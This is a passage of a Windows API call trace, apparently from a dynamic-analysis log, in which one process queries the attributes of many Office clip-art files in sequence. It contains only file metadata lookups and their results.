	[0051.516] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e468 | out: lpFileInformation=0x1274e468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd9a)) returned 1
	[0051.516] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e4b8 | out: lpFileInformation=0x1274e4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca8)) returned 1
	[0051.516] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274e508 | out: lpFileInformation=0x1274e508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8ad6)) returned 1
	[0051.516] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274e558 | out: lpFileInformation=0x1274e558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe2e9)) returned 1
	[0051.517] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e5a8 | out: lpFileInformation=0x1274e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaccb1700, ftCreationTime.dwHighDateTime=0x1be8602, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaccb1700, ftLastWriteTime.dwHighDateTime=0x1be8602, nFileSizeHigh=0x0, nFileSizeLow=0x65a6)) returned 1
	[0051.517] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e5f8 | out: lpFileInformation=0x1274e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x918c)) returned 1
	[0051.517] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e648 | out: lpFileInformation=0x1274e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1daa)) returned 1
	[0051.518] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e698 | out: lpFileInformation=0x1274e698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1066)) returned 1
	[0051.518] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e6e8 | out: lpFileInformation=0x1274e6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x332a)) returned 1
	[0051.518] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e738 | out: lpFileInformation=0x1274e738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d8c500, ftCreationTime.dwHighDateTime=0x1be1ff6, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22d8c500, ftLastWriteTime.dwHighDateTime=0x1be1ff6, nFileSizeHigh=0x0, nFileSizeLow=0x6bc2)) returned 1
	[0051.519] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e788 | out: lpFileInformation=0x1274e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa1c300, ftCreationTime.dwHighDateTime=0x1be1ff5, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaa1c300, ftLastWriteTime.dwHighDateTime=0x1be1ff5, nFileSizeHigh=0x0, nFileSizeLow=0xa086)) returned 1
	[0051.519] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e7d8 | out: lpFileInformation=0x1274e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5779c00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5779c00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x380a)) returned 1
	[0051.519] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e828 | out: lpFileInformation=0x1274e828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6d7d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6d7d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x899c)) returned 1
	[0051.519] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e878 | out: lpFileInformation=0x1274e878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e804d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e804d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x4de6)) returned 1
	[0051.519] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e8c8 | out: lpFileInformation=0x1274e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26e8)) returned 1
	[0051.519] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e918 | out: lpFileInformation=0x1274e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x312c)) returned 1
	[0051.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e968 | out: lpFileInformation=0x1274e968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f43f00, ftCreationTime.dwHighDateTime=0x1be809a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64f43f00, ftLastWriteTime.dwHighDateTime=0x1be809a, nFileSizeHigh=0x0, nFileSizeLow=0x975e)) returned 1
	[0051.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e9b8 | out: lpFileInformation=0x1274e9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f727e00, ftCreationTime.dwHighDateTime=0x1be7b5a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f727e00, ftLastWriteTime.dwHighDateTime=0x1be7b5a, nFileSizeHigh=0x0, nFileSizeLow=0xcec6)) returned 1
	[0051.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274ea08 | out: lpFileInformation=0x1274ea08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97fc7700, ftCreationTime.dwHighDateTime=0x1be7b5e, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97fc7700, ftLastWriteTime.dwHighDateTime=0x1be7b5e, nFileSizeHigh=0x0, nFileSizeLow=0x4b40)) returned 1
	[0051.521] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274ea58 | out: lpFileInformation=0x1274ea58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d4)) returned 1
	[0051.524] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274eaa8 | out: lpFileInformation=0x1274eaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcba0)) returned 1
	[0051.524] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274eaf8 | out: lpFileInformation=0x1274eaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24625400, ftCreationTime.dwHighDateTime=0x1be8fbc, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24625400, ftLastWriteTime.dwHighDateTime=0x1be8fbc, nFileSizeHigh=0x0, nFileSizeLow=0x5700)) returned 1
	[0051.524] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274eb48 | out: lpFileInformation=0x1274eb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60c2)) returned 1
	[0051.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274eb98 | out: lpFileInformation=0x1274eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51be)) returned 1
	[0051.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274ebe8 | out: lpFileInformation=0x1274ebe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59a0)) returned 1
	[0051.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274ec38 | out: lpFileInformation=0x1274ec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1334)) returned 1
	[0051.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274ec88 | out: lpFileInformation=0x1274ec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d3c)) returned 1
	[0051.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274ecd8 | out: lpFileInformation=0x1274ecd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13b8)) returned 1
	[0051.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274ed28 | out: lpFileInformation=0x1274ed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1284)) returned 1
	[0051.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274ed78 | out: lpFileInformation=0x1274ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16fc)) returned 1
	[0051.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274edc8 | out: lpFileInformation=0x1274edc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1294)) returned 1
	[0051.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274ee18 | out: lpFileInformation=0x1274ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1464)) returned 1
	[0051.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274ee68 | out: lpFileInformation=0x1274ee68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8424)) returned 1
	[0051.527] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274eeb8 | out: lpFileInformation=0x1274eeb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1314)) returned 1
	[0051.528] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274ef08 | out: lpFileInformation=0x1274ef08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1418)) returned 1
	[0051.528] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274ef58 | out: lpFileInformation=0x1274ef58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1998)) returned 1
	[0051.528] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274efa8 | out: lpFileInformation=0x1274efa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c40)) returned 1
	[0051.528] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274eff8 | out: lpFileInformation=0x1274eff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bc8)) returned 1
	[0051.528] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f048 | out: lpFileInformation=0x1274f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1348)) returned 1
	[0051.529] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f098 | out: lpFileInformation=0x1274f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1720)) returned 1
	[0051.529] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f0e8 | out: lpFileInformation=0x1274f0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x154c)) returned 1
